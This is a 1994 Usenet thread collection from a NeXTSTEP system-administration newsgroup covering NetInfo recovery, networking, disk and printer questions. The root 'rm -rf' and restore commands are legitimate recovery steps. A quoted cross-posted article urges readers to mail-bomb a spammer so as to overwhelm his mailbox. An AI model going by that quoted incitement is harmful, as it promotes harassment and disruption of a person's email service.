In article <SCOTT.94Mar14173813@nic.gac.edu> scott@nic.gac.edu (Scott Hess) writes:
>
>For a program I've written for a client, I need to run my own TCP
>connection to a host. So, I pulled out some code I've used in the
>past, hacked it a bit to bring it more up-to-date and flexible, and
>used it in the program. I've been using this code for more than a
>year, now, under both NS2.1 and NS3.[012], all for Motorola. It's
>been working just fine (ok, I'll be very precise - the _socket_ code's
>been working fine. Other code hasn't worked so well :-). Total, the
>code's been in use for more than two years, with slight changes as
>noted above.
>
>Unfortunately, it's not been working on NS-Intel for some reason that
>I cannot determine. What happens is that everything works right up to
>where I call connect(2) to bind the successfully opened socket to an
>address. The connect() call hangs, and eventually exits with
>ETIMEDOUT.
>
>While attempting to track the problem down, I've built two mini
>versions of the program, one which just calls the same sequence of
>networking code, and another which uses the actual objects, and both
>connect without a problem. The next step will be to come from the
>other direction, starting with the actual application and paring off
>elements until I find one that affects things. Unfortunately, this is
>a very inefficient means of debugging, and so I ask ...
Have you successfully run your mini programs on intel hardware? After
reading the first two paragraphs, my guess was that you probably have
latent byte-order problems in your code. (Since m68k is a big-endian
arch, byte-order sloppiness can go undetected until you try to port to
a little-endian arch.) But if your mini programs run on x86, then you
have to figure out what is in your full-blown app that is breaking
your connect call.
You might also take a look at InetObjects from Zippytech
(ztech@well.sf.ca.us). This is a set of Obj-C classes for TCP and UDP
that interfaces with the appkit and insulates you from grody details
like byte order. (Disclaimer: I wrote these objects.)
Newsgroups: comp.sys.next.sysadmin
From: mhovan@rdr.com (Michael A. Hovan III)
Subject: Re: A better way to use Installer app... (Vendors please read)
In-Reply-To: robert@steffi.demon.co.uk's message of 16 Mar 1994 13: 49:12 -0000
Message-ID: <MHOVAN.94Mar17120718@goldberg.rdr.com>
Sender: mhovan@rdr.com (Michael A. Hovan III)
Organization: ATSG Group, RDR Inc.
References: <2m72oo$3oc@steffi.demon.co.uk>
Date: Thu, 17 Mar 1994 17:07:18 GMT
I was thinking about doing something like this a couple of
weeks ago. But, it seems to me that there are a couple of backwards
compatability issues which aren't easily resolved.
1) gunzip wasn't standard before NS3.1
2) the filename extension changed from 3.1 to 3.2
So this doesn't look like it is really a useable across the
board solution.
Mike Hovan
Mike_Hovan@RDR.com
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From: Charlesa@learned.co.uk
Newsgroups: comp.sys.next.sysadmin
Subject: Tape B/U recommendations?
Date: Fri, 18 Mar 94 11:00:52 BST
Organization: EUnet GB
Message-ID: <2mc1qi$3e8@marble.Britain.EU.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Can anybody make any recommendations for Tape B/U software for 3.2/I? Tar
doesn't seem to handles long enough filenames, and CPIO is a bit of a pain for
doing 1 gig at a time (plus no symbilic links). I'm looking for something to
quickly back up (read, not too much fuss) 1 Gb to a DAT SCSI.
Thanks for any thoughts.
Charles.
From: Charlesa@learned.co.uk
Newsgroups: comp.sys.next.sysadmin
Subject: ftpd and logging
Date: Fri, 18 Mar 94 11:22:51 BST
Organization: EUnet GB
Message-ID: <2mc319$3e8@marble.Britain.EU.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Is there any way to get logging going with the ftpd supplied with 3.2? Not
too clear with the man pages. I would like to be able to log anon ftp users.
Thx,
C.
From: jds@aplexus.jhuapl.edu (John D Stanhope)
Newsgroups: comp.sys.next.sysadmin
Subject: How to let the RenderMan know my hostname changed
Date: 18 Mar 1994 14:30:49 GMT
Organization: Johns Hopkins U. Applied Physics Lab
Distribution: world
Message-ID: <2mcdup$bd9@aplcomm.jhuapl.edu>
I recently changed the name of my machine and now the RenderMan back end but
RenderMan is still looking for the old name when I get Render Panel. How
do I get it up so that the Render Panel knows my machine name?
-- jds
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From: robin@pencom.com (Robin D. Wilson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ** Security Hole ** Can't restrict boot options on NS Intel
Date: 18 Mar 1994 15:48:27 GMT
Organization: Pencom Sofware
Message-ID: <2mcigb$l91@digdug.pencom.com>
References: <scratch.763865283@arcturus.sce.carleton.ca>
stewart@hibp7.ecse.rpi.edu (Paul Stewart) writes:
>> [ Text deleted. I orginally wrote the following paragraph. ]
>> The reason is as follows. When the machine is rebooted, a
>> NeXTSTEP boot prompt appears which allows anybody to reboot the
>> machine from a device other than the default device (an internal
>> IDE disk). For example, somebody might put in an installation
>> diskette and NeXTSTEP CD-ROM, or might walk in with a SCSI
>> hard-disk and just plug it in.
>It may be possible that my comment might be considered callous, but:
>Welcome to the world of Intel hardware. There is absolutely no
>guarantee that you can prevent physical access to your system. This
>is primarily due to the fact that the security can't start anywhere
>except in software, because there is no "hardware password", etc
>present in Intel hardware. I'd suppose the closest you could get
>would be to enable your handy dandy keyboard lock.
Actually, I've found Intel (x86) hardware to be no more (or less) secure than
NeXT hardware. In fact, if you give someone physical access to the machine
(regardless of the make) there must be a way to disable _all_ security
features. Think about it... if there weren't, what would you do with a box
once you forget the hardware password? Throw it away?
All security comes down to is a bet between you, and potential threats: you
bet that you'll throw up enough road-blocks so that breaking into your system
will be more trouble than it's worth. The threat bets that he/she can
overcome your roadblocks with little enough effort so that compromising your
system will be worth it. This same rule applies to all types of security...
from securing your computer to securing your home or your car. If your
computer has little value to the threat, then few road-blocks would be
necessary to deter the threat. If your computer has significant value
_TO_THE_THREAT_ (!), then improved security measures are needed. (Please
note: 'value to _you_', and 'value to the security threat' are _very_
different things. If you had the only copy of all your personal finances on
your system, it would probably be _very_ valuable to you. But a theif or
vandal would have little reason to select your system over someone else's.
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: How to let the RenderMan know my hostname changed
Message-ID: <CMvCqH.KJI@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <2mcdup$bd9@aplcomm.jhuapl.edu>
Date: Fri, 18 Mar 1994 16:35:04 GMT
In article <2mcdup$bd9@aplcomm.jhuapl.edu>,
John D Stanhope <jds@aplexus.jhuapl.edu> wrote:
>I recently changed the name of my machine and now the RenderMan back end but
>RenderMan is still looking for the old name when I get Render Panel. How
>do I get it up so that the Render Panel knows my machine name?
If you look in the /locations directory in netinfo, you'll find a
'renderers' directory with your old hostname. Currently, the property
'name' has the value of your old hostname. Just change that to your
new hostname.
-rob
---
Rob Francis Unix Systems Specialist, University Computing Services
Indiana University, francisr@indiana.edu (812)855-0327
From: tlm@ameslab.gov (Tom Marchioro)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ftpd and logging
Date: 18 Mar 1994 17:22:07 GMT
Organization: Iowa State University, Ames, Iowa
Distribution: world
Message-ID: <2mcnvv$a7d@news.iastate.edu>
References: <2mc319$3e8@marble.Britain.EU.net>
Charlesa@learned.co.uk writes
[]
[]Is there any way to get logging going with the ftpd supplied with 3.2?
Not
[]too clear with the man pages. I would like to be able to log anon ftp
users.
Don't even bother, just get the wuftpd software. It's superior in all
respects and compiles out of the box. There are a few subtleties with the
FTP access file --- actually, more than a few if you want to have things
like gzip and tar available to anonymous users, but that's probably not
your case --- I would be glad to share mine with you and it shoudl be
sufficient for most of what you want AS IS.
Hope this helps --- Tom
--
Dr. Thomas L. Marchioro II Two-wheeled theoretical physicist
Center for Physical and
Computational Mathematics 515-294-5543
Ames Laboratory 515-233-1216 (home)
Ames, Iowa 50011 tlm@iastate.edu
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From: gerti@tms-gmbh.de (Gerd Knops)
Subject: Re: Network buffers?
Message-ID: <CMvBMp.MG@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
References: <S.A.MCINTYRE.94Mar17170837@shrug.dur.ac.uk>
Date: Fri, 18 Mar 1994 16:11:11 GMT
In article <S.A.MCINTYRE.94Mar17170837@shrug.dur.ac.uk> writes:
>
>
> My machine crashed; had to reboot in the unpleasant manner of using the
> mini monitor with a full fsck...the only trace I could find of what
> happened was:
>
> Mar 17 16:02:10 shrug mach: enrx: no network buffers
> Mar 17 16:03:58 shrug last message repeated 468 times
> Mar 17 16:04:00 shrug mach: enrx: no network buffers
>
>
Same here. Happened two weeks ago. No substancial traffic on the net
during that time. So, I had about 10 people standing arround for an hour,
while the server was checking 5 Gigabytes of disk space...
Gerd
Newsgroups: comp.sys.next.sysadmin
From: gerti@tms-gmbh.de (Gerd Knops)
Subject: Re: setting default printer options
Message-ID: <CMvC3A.nF@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
References: <MONHEIT.94Mar17101848@spieden.stanford.edu>
Date: Fri, 18 Mar 1994 16:21:09 GMT
Get the Document 5003.PPD_Spec_v4.1.ps from Adobe. It explains everything
in detail. I am not sure, how to get it via ftp, but they have an EMail
Service: send a mail to ps-file-server@adobe.com, with the single word
'help' in the body.
Gerd
In article <MONHEIT.94Mar17101848@spieden.stanford.edu>
monheit@spieden.stanford.edu (Mark Monheit) writes:
>
>
> I have several printers for which I would like to change the default
> values of printer options specified in the ppd files. For instance,
> on the Next Color Printer, I would like the default setting for the
> Printer Mode popup list to be "plain paper" rather than "coated paper"
> (I would also like this to be the default for remote jobs sent via
> "lpr").
>
> From what I understand of the documentation, the way to do this is to
> create a separate PPD file in /LocalLibrary/PrinterTypes/Custom, add a
> ppdname property to the netinfo entry, use a special directive to
> include the original file, and then make whatever modifications are
> necessary. I've experimented with this, but haven't been able to do
> anything that changes the default behavior.
>
> I've considered several reasons I could be having problems:
> - incorrect syntax for the *Include directory (I can't find any info
> on what this looks like
> - incorrect syntax in setting ppd defaults (I'm only guessing based
> on what's in other PPD files)
> - I'm making the correct changes, but the old info is cached until
> I reboot or restart certain processes
> - this is the wrong approach altogether
>
> In any case, I'd appreciate it if someone could spell this out in a
> bit more detail than the Next documentation.
>
> Thanks,
> Mark Monheit
> monheit@psych.stanford.edu
From: majka@next.com (Marc Majka)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: I hate to say this but : Me Too!
Date: 18 Mar 1994 18:39:43 GMT
Organization: NeXT, Inc.
Message-ID: <2mcshf$bev@rosie.next.com>
References: <CMqstD.14y@infoserv.com>
> The NI Database is corrupted.
> My guess is that this happened after using preferences.
> Are these ND systems?
> If so the fix is real easy.
>
> On the HD go to/etc/netinfo/local.nidb/and delete those files named
> "extension_*".
AAAAAAAAAAAIIIIIIIIIIIIIIEEEEEEEEEEE!!!!!
DON'T DO THIS!!!!!!!!!!!!!!
OK, it's time for a bit of information on (1) NetInfo databases, and (2)
What that "loginwindow: could not find WindowServer port" means.
First, NetInfo Databases.
Although I've heard lots of people make the statement "The NetInfo
database is corrupted", they are almost always incorrect. Way back in the
past (at least a year ago :-) before 3.2, NetInfo databases were rarely
but occasionally hit by a bug that led to a condition we called "loops and
dups". This was in fact a fairly benign problem, in that NetInfo didn't
stop working, but it did cause a certain type of database corruption.
Specifically, it caused what you might think of as extraneous "hard links"
in a NetInfo database. You might be looking in /printers, and see a
user's directory as a subdirectory of /printers, even though the same
directory was also where it belonged in /users. You'd also occasionally
see an extra entry labelled "dir: 0", which is the root directory.
The bug that caused "loops and dups" has been fixed, so if you are running
NEXTSTEP 3.2, you woun't get this problem. If you are running an earlier
version and you see the "llops and dups" condition in NetInfo, contact
NeXT Technical Support. They have a little program that will fix your
database.
Aside from "loops and dups", true NetInfo database corruption is extremely
rare. If you truely have a corrupted NetInfo database, we at NeXT want to
know about it!
On the other hand, a lot of people make the statement that their database
is corrupted not when the database is in fact just fine, but the *data
that you've put in the database* is causing problems. For example, if you
mess up the ip_address property of the computer that hosts the master copy
of some NetInfo database, NetInfo will not be happy. However, the proble
is not that the records in the database are scrambled in some horrible way
- the problem is that the information that the records contain is
incorrect.
There certainly are cases where people manage to get themselves tied up in
knots due to incoherent information getting added to their databases.
NetInfo is your primary administrative database system. Be careful about
making changes to the database, and make backup copies of the database.
It's extremely easy to make a NetInfo backup. You can do it with
Workspace Manager by selecting "/etc/netinfo" in the file viewer, the use
the "File > Duplicate" menu command to make a copy. In a shell, you can
just do:
cp -r /etc/netinfo /etc/netinfo.backup
You don't have to call it "netinfo.backup". Quite a few system
administrators modify their /usr/adm/daily shell script so that it makes a
backup copy of NetInfo every night. You should also make a backup copy of
"/etc/hostconfig". It stores you computer's name, Internet address, and
other network-related information.
It's a good idea to make a backup of NetInfo every time you are about to
make a major configuration change. It your change messes up, you can
recover by booting your system in UNIX single-user mode (use "boot: -s" on
a PC, see the SysAdmin manual for information on booting a NeXT computer
in single-user mode). After it's up in single user mode, restore your
NetInfo and hostconfig with:
# mv /etc/hostconfig /etc/hostconfig.messed.up
# mv /etc/hostconfig.backup /etc/hostconfig
# mv /etc/netinfo /etc/netinfo.messed.up
# mv /etc/netinfo.backup /etc/netinfo
# halt
Then boot normally. Your configuartion will be back to the way it was
when you made your backup, and you'll probabaly saved yourself hours of
work and frustration! You'll probably want to delete the .messed.up
files.
By the way, you can use this same idea to restore your system to it's "out
of the box" (or is that "off the CD-ROM"?) configuration. As described in
the Network and System Adminstration manual, you can restore an original
copy of hostconfig and netinfo with:
# mv /etc/hostconfig /etc/hostconfig.messed.up
# cp /usr/template/client/etc /etc/hostconfig
# mv /etc/netinfo /etc/netinfo.messed.up
# cp -r /usr/template/client/etc/netinfo /etc/netinfo
Now, a bit about NetInfo databases, and specfically about those
"extension_nnn" files.
A NetInfo database is a collection of records. Each record holds 1
directory. The collection of records is stored in
/etc/netinfo/<tag>.nidb/Collection, (or before NEXTSTEP 3.0, in
/etc/netinfo/<tag>.nidb/collection - note the lower case "c"). What's
important about the [Cc]ollection file is that it has *fixed length*
records. The old "collection" format had 256-byte records. The new
"Collection" format has 512-byte records.
Now everyone who uses NetInfo knows that it is completely extensible: you
can add new properties and values to the database, and there's no limit on
how much information you can put in a directory. So what happpens, for
example, if you decide to add a property with the key "favorite_saying" to
all your user's account records, and that one of your users named "hamlet"
has a fairly long-winded favorite_saying? How can you put "To be or not
to be..." in a directory, when the database has fixed-length records in
the collection file? The answer is that the database server *doesn't* put
overly-large directories in the collection. If a directory contains more
than 512 bytes (256 in the old format) of data, the server puts that
directory in a separate file, named extension_nnn, where "nnn" is the
directory ID number.
This is the reason why it's a very, very bad idea to remove the extension
files: This is just randomly destroying parts of the database.
Final topic for the day: that nasty "loginwindow: could not find
WindowServer port" message.
In general, the problem can arise from many causes. It means that
loginwindow has started up and tried to find the mach message port used by
the Window Server, but the Window Server isn't registered with the name
server. Anything that causes the Window Server to fail to start up (or
even to start up very slowly) will cause this problem. It's very tough to
tell exactly what's wrong, but here are some things you can do:
- telnet to your sick computer from another one and look around for
problems. If it's a stand-alone system, boot in single-user mode.
- check "/mach"
# ls -l /mach
lrwxrwxrwx 1 root 9 Jan 12 09:43 /mach -> $BOOTFILE@
If it's not there, or it isn't a link to as shown, fix it with:
# rm /mach
# ln -s '$BOOTFILE' /mach
- if it still doesn't work, (and this is a very rare case) you can try
replacing the whole /usr/lib/NextStep directory. If something is messed
up in the resources that the Window Server uses, or the Window Server
itself is messed up, then this will replace it. My favorite way to do
this is to export /usr/lib from another computer on the network. Then, in
single-user mode:
# mount othercomputer:/usr/lib /mnt
# rm -rf /usr/lib/NextStep
# cd /mnt
# gnutar -cf - NextStep | (cd /usr/lib; gnutar -xpf -)
For a standalone system, you'll need to replace it from CD-ROM:
# mount /dev/sd2a /mnt (might be some other device)
# rm -rf /usr/lib/NextStep
# cd /mnt/usr/lib
# gnutar -cf - NextStep | (cd /usr/lib; gnutar -xpf -)
- If all else fails, you can always fix the problem by re-installing
NEXTSTEP. Not the greatest solution, I know, but it works...
--
Marc Majka
From: Francis A. <vandong@gaul.csd.uwo.ca>
Newsgroups: comp.sys.next.sysadmin
Subject: Booting from CD-Rom
Date: 18 Mar 1994 21:13:55 GMT
Organization: Relayed-by-Sendmail
Message-ID: <2md5ij$sij@falcon.ccs.uwo.ca>
Originator: daemon@julian.uwo.ca
Hi,
Does anyone know how to boot a NeXT Cube '040 with an OD drive. directly
from the CD-Rom?
If this can not be done what is the best alternate way to boot the machine
so that I can rebuild the hard-drive using build-disk from CD-Rom?
Please E-Mail me directly...
TTYL...
Frank
*********************************************************************
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ESB 1019 melmak
Tel:(519)858-0817 E-Mail:vandong@obelix.gaul.csd.uwo.ca
A word to the wise:
Be a SAFE diver. (Slowly Ascend From Every dive)
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Newsgroups: comp.sys.next.sysadmin
From: Gibson_Rory@pcp.ca (Rory Gibson)
Subject: Re: Newsgrazer spontaneously terminating
Message-ID: <1994Mar19.004420.21068@pcp.ca>
Sender: news@pcp.ca
Organization: PanCanadian Petroleum Ltd.
References: <2ln9oo$9gp@news.duke.edu>
Date: Sat, 19 Mar 94 00:44:20 GMT
In article <2ln9oo$9gp@news.duke.edu> bob@stirling.egr.duke.edu (Robert
R Reynolds) writes:
> I have been running Newsgrazer V72.3 for over a year and
> on NS 3.2 for a few months with almost no problems.
>
> Suddenly it simply terminates after 20-60 seconds every time
> it launches. Has anyone else experienced this problem?
>
> I'd appreciate suggestions.
>
> Thanks,
> Bob
> bob@stirling.egr.duke.edu
> (email preferred since it's hard to read news these days)
I've found an article on our news server that causes NewsGrazer to crash
every time. I believe the problem stems from the fact this article was
cross posted to 23 different groups! NewsGrazer probably has a limit on
the size of the Xref: field that it can handle.
I've included the actual article below:
Xref: newsserver alt.tasteless.jokes:1399 alt.technology.misc:688
alt.toys.hi-tech:172 alt.transgendered:604 alt.tv.babylon-5:2552
alt.tv.northern-exp:450 alt.tv.red-dwarf:789 alt.tv.ren-n-stimpy:123
alt.tv.seinfeld:778 alt.tv.simpsons:892 alt.tv.snl:238 alt.vampyres:715
bionet.software:273 biz.comp.hardware:228 biz.comp.software:84
biz.comp.telebit:20 biz.sco.general:884 biz.sco.opendesktop:203
comp.ai:418 comp.ai.genetic:218 comp.ai.nat-lang:84
comp.ai.neural-nets:529
Path:
newsserver!acs.ucalgary.ca!kakwa.ucs.ualberta.ca!quartz.ucs.ualberta.ca!
unixg.ubc.ca!nntp.cs.ubc.ca!newsxfer.itd.umich.edu!sol.ctr.columbia.edu!
howland.reston.ans.net!darwin.sura.net!usenet.fiu.edu!serss0.fiu.edu!sol
ix!jimh
From: jimh@solix.fiu.edu (James J Hardiman)
Newsgroups:
alt.tasteless.jokes,alt.technology.misc,alt.toys.hi-tech,alt.transgender
ed,alt.tv.babylon-5,alt.tv.northern-exp,alt.tv.red-dwarf,alt.tv.ren-n-st
impy,alt.tv.seinfeld,alt.tv.simpsons,alt.tv.snl,alt.vampyres,aus.general
,bionet.software,biz.comp.hardware,biz.comp.software,biz.comp.telebit,bi
z.sco.general,biz.sco.opendesktop,bln.lehre.informatik,bln.markt,bln.mis
c,bln.net.statistik,bln.test,bln.wetter,comp.ai,comp.ai.genetic,comp.ai.
nat-lang,comp.ai.neural-nets
Subject: Re: New Online Computer Shopping System (F***ING BASTARD)
Followup-To:
alt.tasteless.jokes,alt.technology.misc,alt.toys.hi-tech,alt.transgender
ed,alt.tv.babylon-5,alt.tv.northern-exp,alt.tv.red-dwarf,alt.tv.ren-n-st
impy,alt.tv.seinfeld,alt.tv.simpsons,alt.tv.snl,alt.vampyres,aus.general
,bionet.software,bit.mailserv.word-pc,biz.comp.hardware,biz.comp.softwar
e,biz.comp.telebit,biz.sco.general,biz.sco.opendesktop,bln.lehre.informa
tik,bln.markt,bln.misc,bln.net.statistik,bln.test,bln.wetter,comp.ai,com
p.ai.genetic,comp.ai.nat-lang,comp.ai.neural-nets
Date: 10 Mar 1994 02:20:09 GMT
Organization: Florida International University
Lines: 45
Message-ID: <2lm04p$h2i@serss0.fiu.edu>
References: <21173277@MVB.SAIC.COM> <wondrboy.1ifa@podbox.UUCP>
NNTP-Posting-Host: solix-gw.fiu.edu
X-Newsreader: TIN [version 1.2 PL2]
Sean Dineen (wondrboy@podbox.UUCP) wrote:
: stdawh@pip.shsu.edu (ALEX WAYNE HOLLAND) writes:
: >
: >
: > ATTENTION!!! ATTENTION!!! ATTENTION!!!
: >
: > BITS AND P.C.'S
: >
: >An online Computer Shopping System will experience it's grand opening
on
: >Monday March 7, 1994. Everyone is Welcome to come and look at this
system.
: >
: >For starters we are selling 1x9 simms at record low prices.
: >
: >Come Experience the Latest in Home Shopping!
: >
: >(409) 294-9392
: >
: >**DEALER INQUIRIES WELCOME**
: you bastard. you capitalist swine.
: smithers, release the hounds.........
:
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
<><><>
: Viva Los SkinHeads NorteAmericanos!!!!!
: "Show me a capitalist, and I'll show you a bloodsucker." Malcolm X
: -----------------+>>>wondrboy%podbox.uucp@cs.utexas.edu
Hounds might be extreme, but I recommend everyone send a small note
to the bonehead (as I have) expressing just how wrong this post is.
Ten mail messages will get his attention.
A hundred will ruin his day.
A thousand will insure that he gets the point. (And will slow his
mailreader to a crawl, I hope.)
Hmmm.....Maybe I should mail him again.
Smithers, release the Godzillagram......
--
jimh@solix.fiu.edu
"If they catch you, You will know pain."
"And you will know fear."
"And then you will die."
"Have a pleasant flight!"
G'Kar & Na'Toth, Parliament of Dreams
From: jweiss@casbah.acns.nwu.edu (Jerry Weiss)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 5.25 Floppy with NeXTStep 3.2
Date: 19 Mar 1994 04:19:12 GMT
Organization: Northwestern University, Evanston IL USA
Message-ID: <2mdug0$a8r@news.acns.nwu.edu>
References: <2m5p6s$dfp@nic-nac.CSU.net>
Keywords: 5.25" and NS/I
In article <2m5p6s$dfp@nic-nac.CSU.net>,
Victor Quevedo <vqueved@nssnext.calstatela.edu> wrote:
>Is there any way to access the 5.25" (1.2MB) Floppy using NS/I?
>
>I have a dual boot machine (NeXTSTEP/DOS) and would like to be able to
>access the 5.25" drive from the DOS end without having to
>disable/disconnect enable/disable it. I remeber that NS/I tells you to
>disconnect the 5.25" drive before you install it.
>
>Is there a device driver for the 5.25" on the NS/I end?
>
There is no device driver for the 5.25"disk. After I installed NS
I reconnected the 5.25" driver as drive B. Doesn't interfer with
NS and works fine under dos/windoze (which I use in decreasing amounts).
--
Jerry S. Weiss
j-weiss@nwu.edu
Dept. Medicine, Northwestern Univ. Medical School, Chicago, Illinois
%SYSTEM-S-PHALOKTARG, Phasers Locked on Target, Ready to Fire
From: okerson@nssdc.gsfc.nasa.gov (David Okerson)
Newsgroups: comp.sys.next.sysadmin
Subject: How to mount DOS partitions
Date: 18 Mar 1994 20:53 EDT
Organization: NASA - Goddard Space Flight Center
Distribution: world
Message-ID: <18MAR199420535279@nssdc.gsfc.nasa.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
News-Software: VAX/VMS VNEWS 1.41
I apologize to bring a question back, but unfortunately the
problem remains unsolved:
How does one mount DOS partitions on an IDE disk when the root
NEXTSTEP disk is SCSI?
Following the "NeXTanswers" description, I reformatted my IDE disk
into 3 partitions: (1) NEXTSTEP, arranged to point the boot process to
continue from sd(0); (2) a DOS "small FAT" 64 MB partition; and (3)
another identical DOS partition. These 3 partitions were created in
the order shown using the NEXTSTEP fdisk.
The NEXTSTEP boot manager works well; "d" gives DOS from the IDE
partition labeled (2) above, while "n" gives NEXTSTEP from the SCSI
drive. Unfortunately, from NEXTSTEP neither of the DOS partitions
auto-mounts, nor can anything I have thought of cause them to mount.
If anyone could help, it would be greatly appreciated. For example:
1. Does the order in which the IDE partitions were created
make any difference?
2. Did I make the wrong type of DOS partitions for NEXTSTEP
to recognize?
3. Is there some magic incantation, not obvious from the
/NextLibrary/Documentation/NextAdmin documents, which would
mount the DOS partitions? (Putting them in /etc/fstab doesn't
seem to help - is this because the need to be in "NetInfo",
and if so, how?)
4. Is NEXTSTEP just refusing to deal with a 3-partition disk?
(Would it work if I had only (1) NEXTSTEP and (2) DOS?)
Thank you for any suggestions.
David
Newsgroups: comp.sys.next.sysadmin
From: trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels)
Subject: Re: mail-receiving problem
Message-ID: <YF1MBQAW@gwdu03.gwdg.de>
Sender: news@gwdu03.gwdg.de (USENET News System)
Organization: GWDG, Goettingen
References: <94076.153911IFF118@DJUKFA11.BITNET>
Date: Sat, 19 Mar 1994 11:21:32 GMT
IFF118@DJUKFA11.BITNET wrote:
> Hi
> we have plugged our little NeXT-Network into internet. It works fine.
> We could send mail, but we can t receive mail. Example: A friend sends
> mail from compuserve and after a while he got it back from the NeXT-
> Mail-Agent. It looks like the mail reached our NeXT-Network but the
> Mail-Agent refused to receive it.
> Anyone knows help?
Could you post the headers from the rejected mail message?
Ciao, Stephan
--
trebels@theo-phys.gwdg.de
From: jim@ljkiraly.lerc.nasa.gov(L J "Jim" Kiraly)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to mount DOS partitions
Date: 19 Mar 1994 17:34:50 GMT
Organization: NASA Lewis Research Center
Distribution: world
Message-ID: <2mfd3q$pmh@eagle.lerc.nasa.gov>
References: <18MAR199420535279@nssdc.gsfc.nasa.gov>
David Okerson writes
> I apologize to bring a question back, but unfortunately the
> problem remains unsolved:
>
> How does one mount DOS partitions on an IDE disk when the root
> NEXTSTEP disk is SCSI?
>
> Following the "NeXTanswers" description, I reformatted my IDE disk
> into 3 partitions: (1) NEXTSTEP, arranged to point the boot process to
> continue from sd(0); (2) a DOS "small FAT" 64 MB partition; and (3)
> another identical DOS partition. These 3 partitions were created in
> the order shown using the NEXTSTEP fdisk.
>
> The NEXTSTEP boot manager works well; "d" gives DOS from the IDE
> partition labeled (2) above, while "n" gives NEXTSTEP from the SCSI
> drive. Unfortunately, from NEXTSTEP neither of the DOS partitions
> auto-mounts, nor can anything I have thought of cause them to mount.
>
> If anyone could help, it would be greatly appreciated. For example:
>
> 1. Does the order in which the IDE partitions were created
> make any difference?
> 2. Did I make the wrong type of DOS partitions for NEXTSTEP
> to recognize?
> 3. Is there some magic incantation, not obvious from the
> /NextLibrary/Documentation/NextAdmin documents, which would
> mount the DOS partitions? (Putting them in /etc/fstab doesn't
> seem to help - is this because the need to be in "NetInfo",
> and if so, how?)
> 4. Is NEXTSTEP just refusing to deal with a 3-partition disk?
> (Would it work if I had only (1) NEXTSTEP and (2) DOS?)
>
> Thank you for any suggestions.
> David
>
I had a similar problem and the only solution I could find was to make the
DOS partition the first one on the IDE disk- otherwise NEXTSTEP couldn't
seem to find it.
--
__________________________________________________________________
Jim Kiraly- jim@ljkiraly.lerc.nasa.gov- NASA Lewis Research Center
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From: thf@zelator.de (Thomas Funke)
Subject: Re: swapfile keeps growing ....
Message-ID: <1994Mar19.153925.869@gamelan.uucp>
Sender: thomas@gamelan.uucp (thomas)
Organization: Disorganization
References: <AOKI.94Mar17133541@madonna.phys.titech.ac.jp>
Date: Sat, 19 Mar 1994 15:39:25 GMT
In article <AOKI.94Mar17133541@madonna.phys.titech.ac.jp>
aoki@phys.titech.ac.jp (Ken-ichiro Aoki) writes:
> swapspace which you can NOT use for anything else. In NS, you have the
> *option* of dynamically allocating swapfiles. (you can set a hiwat, in
> which case it should not grow > hiwat.)
Well, at least under previous releases, when hiwat is reached the NeXT
will just hang (when there is no alternate swapfile), manual reboot
necessary. Not a really convincing solution ...
> So I wouldn't call it a bug,
It is a bug for the following reason:
I have experimented with swapfiles before: Yes, under rare circumstances
a swapfile can shrink, maybe 1 MB or so. But usually it doesn't shrink
even a single byte.
Try the following:
1. Do memory extensive work (Mathematica, graphics etc.) until the
swapfile starts growing, let it grow at least 10 MB or so.
2. Log out, go to the console (typing 'console <return> <return>' in the
login panel), login again as root.
3. Now you have a plain unix shell, no window server running.
4. Start killing all processes which are not necessary.
5. When you did this, you'll agree that there is really not much activity
on the machine: Thus we would expect a shrunken swapfile.
6. You'll see: Swapfile is as big as before.
7. I call this a 'bug'.
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Thomas Funke ** Unix-Consultant ** thf@zelator.de
Brooks's Law:
Adding manpower to a late software project makes it later
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From: gwhite@trevnx.bio.dfo.ca (George White 6-8509)
Newsgroups: comp.os.386bsd.questions,comp.sys.next.sysadmin
Subject: [Q] which make for BSD usr.sbin hierarchy?
Date: 20 Mar 1994 10:30:28 -0400
Organization: Bedford Institute of Oceanography
Sender: news@nstn.ns.ca
Distribution: world
Message-ID: <GWHITE.94Mar20103029@trevnx.bio.dfo.ca>
I would like to hack some bits from the BSD usr.sbin hierarchy for our
3.0 NeXT systems, but the makefiles don't work with either /bin/make or
GNU make version 3.67 (they use .include and similar constructs).
I looked for a compatibility switch in GNU make and didn't find anything.
What version of make should I use? Is there a usr.sbin hierarchy that
works with GNU make?
--
--
George White <GWhite@BIOnet.BIO.DFO.ca> Bedford Inst. of Oceanography
From: Jim De Arras <jmd@cube.handheld.com>
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Help with DEC DSP 5350S on 25Mhz '040 cube.
Date: 20 Mar 1994 18:32:20 GMT
Organization: Hand Held Products, Inc.
Distribution: world
Message-ID: <2mi4rkINN4km@clem.handheld.com>
I'm trying to install a DEC DSP5350S (as reported in the boot-up) 3406MB
hard disk. When I try to initialize it, I get the following error:
Boot block extends past front porch
Any ideas? It's formatted for 512 byte sectors, would 1024 do better?
Any advice welcome, e-mail, and I'll summarize if there's interest.
Thanks,
Jim
jmd@cube.handheld.com
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From: bali@leland.Stanford.EDU (Valentina Andrea Bali)
Newsgroups: comp.sys.next.sysadmin
Subject: Taylor UUCP troubles
Date: 20 Mar 1994 21:08:56 GMT
Organization: Stanford University, CA 94305, USA
Message-ID: <2mie18$334@nntp2.Stanford.EDU>
Hello,
I am installing Taylor UUCP, but things are not quite working. I run
uucico -s netcom -r1 -x9
but nothing happens. I run uulog, and this is what I find:
uucp netcom (3/20-12:42-15939) ERROR: All matching ports in use
Pray tell what's wrong.
Thanks.
- marcos j. polanco
- shiva@vega.stanford.edu
From: is81084@cis.nctu.edu.tw ( Dai-Woei Yan)
